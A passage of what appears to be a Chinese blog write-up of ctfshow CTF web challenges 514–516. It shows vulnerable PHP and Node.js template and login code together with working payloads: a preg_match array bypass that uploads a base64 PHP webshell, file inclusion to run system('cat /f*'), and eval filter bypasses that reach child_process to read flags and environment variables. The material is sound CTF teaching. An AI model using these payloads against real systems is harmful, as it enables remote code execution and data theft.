				$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{{config:'.$key.'}}')){
				$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}

	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{{var:'.$key.'}}')){
				if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}

	public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{{cnzz}}')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
					include($foot);
				}
				
			}
			
		}
		return $templateContent;
	}
}

这次加了过滤,可以用data伪协议来做

if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){

api/admin_templates.php

<?php

session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
$action=$_GET['action'];
if(!isset($user)){
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
switch ($action) {
	case 'list':
		$sql = "select id,name,type,path,des from templates limit 0,10";
		$db=new db();
		$temps = $db->select_array($sql);
		if(count($temps)>0){
			$ret['count']=count($temps);
			$ret['data']=$temps;
			$ret['msg']='查询成功';
		}
		break;
	case 'update':
		extract($_POST);
		$row=json_decode($row);
		if(waf($row)){
			break;
		}
		$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
		$db = new db();
		if($db->update_one($sql)){
			$ret['msg']='实时更新成功';
		}else{
			$ret['msg']='实时更新失败';
		}
		break;
	case 'getContents':
		extract($_POST);
		$template=json_decode($template);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
			$ret['count']=1;
			$ret['msg']='查询成功';
			$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
		}
		break;
	case 'download':
		extract($_POST);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
			header("Content-Type: application/octet-stream"); 
			header('Content-Disposition:  attachment; filename="' . $path. '"');
			echo file_get_contents(__DIR__.'/../templates/'.$path);
			exit();
		}
		break;
	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
				$ret['msg']='文件上传失败';
			}else{
				file_put_contents(__DIR__.'/../templates/'.$name, $content);
				$ret['msg']='文件上传成功';
			}
			
		}else{
			$ret['msg']='文件上传失败';
		}
		break;
	default:
		# code...
		break;
}

function waf($row){
	$ret = false;
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
		$ret=true;
	}
	return $ret;
}
die(json_encode($ret));

关键代码:

	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
				$ret['msg']='文件上传失败';
			}else{
				file_put_contents(__DIR__.'/../templates/'.$name, $content);
				$ret['msg']='文件上传成功';
			}
			
		}else{
			$ret['msg']='文件上传失败';
		}
		break;

preg_match的话我们可以用数组绕过
因为preg_match的第二个参数(待匹配内容)必须是字符串,如果传入的是数组,preg_match会返回false而不是报错

if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
	$ret['msg']='文件上传失败';

GET:

/api/admin_templates.php?action=upload

POST:

name=1.sml&content[]=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B

WEB入门——中期测评-42.png
验证一下:
WEB入门——中期测评-43.png
剩余的步骤跟上题一样,系统配置页面的页面统计写入地址/var/www/html/templates/1.sml
然后新增模板2.sml,内容1{{cnzz}}
最后访问index.php?action=view&page=2执行命令即可
GET:

index.php?action=view&page=2

POST:

1=system('cat /f*');

web515

var express = require('express');
var _= require('lodash');
var router = express.Router();

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.render('index', { title: '我是复读机' });
});

router.post('/',function(req,res,next){
	if(req.body.user!=null){
		msg = req.body.user;
		if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '敏感信息不复读' });
		}else{
			res.render('index', { title: eval(msg) });
		}
	}else{
		res.render('index', { title: '我是复读机' });
	}
	 
});
module.exports = router;

eval嵌套执行:
GET:

index.php?a=require('child_process').spawnSync('cat',['/flag']).stdout.toString()

POST:

user=eval(req.query.a)

web516

关键代码为index.js里面的登录成功后显示处,会执行eval函数

const router = require('koa-router')()
const User = require('../models/User.js')
const md5 = require('md5-node')

router.get('/', async (ctx, next) => {
	await ctx.render('index',{msg:'ctfshow'});
	await next();

});

router.post('/signin',async(ctx,next)=>{
  const username = ctx.request.body.username;
  const password = ctx.request.body.password;
  if(username=='admin'){
  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  	};
  	return;
  }
  const user = await User.findAll({
  	where:{
  		username:username,
  		password:password
  	}
  });

  if(user[0]!==undefined){
  	ctx.body={
  		code:'200',
  		url:'user/'+user[0].id
  	}
  }else{
  	ctx.body={
  		code:'404',
  		msg:'login failed'
  	};
  }
  
});

router.post('/signup',async(ctx,next)=>{
	  const username = ctx.request.body.username;
	  const password = ctx.request.body.password;
	  if(username=='admin'){
	  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  		};
	  	return;
	  }
	  const u = await User.create({username:username,password:password})
	  ctx.body={
	  	code:0,
	  	msg:'注册成功'
	  }
});

router.get('/user/:id',async(ctx,next)=>{
	const id=ctx.params.id;
	if(id==1){
	  	ctx.body={
  		code:'403',
  		msg:'非管理员无权查看'
  		};
	  	return;
	  }
	const user = await User.findAll({
		where:{
			id:id
		}
	});

	if(user!==undefined){
		ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
	}else{
		ctx.render('/');
	}
});
module.exports = router

关键:

eval('md5('+user[0].password+')');

但是app.js有限制

const Koa = require('koa')
const app = new Koa()
const views = require('koa-views')
const json = require('koa-json')
const onerror = require('koa-onerror')
const bodyparser = require('koa-bodyparser')
const logger = require('koa-logger')

const index = require('./routes/index')
const users = require('./routes/users')

// error handler
onerror(app)

// middlewares
app.use(bodyparser({
  enableTypes:['json', 'form', 'text']
}))
app.use(json())
app.use(logger())
app.use(require('koa-static')(__dirname + '/public'))

app.use(views(__dirname + '/views', {
  extension: 'ejs'
}))

// logger
app.use(async (ctx, next) => {
  const start = new Date()
  await next()
  const ms = new Date() - start
  console.log(`${ctx.method} ${ctx.url} - ${ms}ms`)
})

app.use(async(ctx,next)=>{
	if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
		return
	}else{
		await next()
	}
	
})

// routes
app.use(index.routes(), index.allowedMethods())
app.use(users.routes(), users.allowedMethods())

// error-handling
app.on('error', (err, ctx) => {
  console.error('server error', err, ctx)
});

module.exports = app

其中:

const bodyparser = require('koa-bodyparser')

app.use(bodyparser({
  enableTypes:['json', 'form', 'text']
}))

读取 HTTP 请求的原始 body,根据 Content-Type 解析将解析结果赋值给 ctx.request.body

ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null

不能出现这些字符串,那我们用反引号拼接字符串就可以,还是用上题的代码,修改一下即可

1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('env').stdout.toString()`)

用上述作为密码注册+登录

posted @ 2026-06-12 20:33  Cava1i  阅读(29)  评论(0)    收藏  举报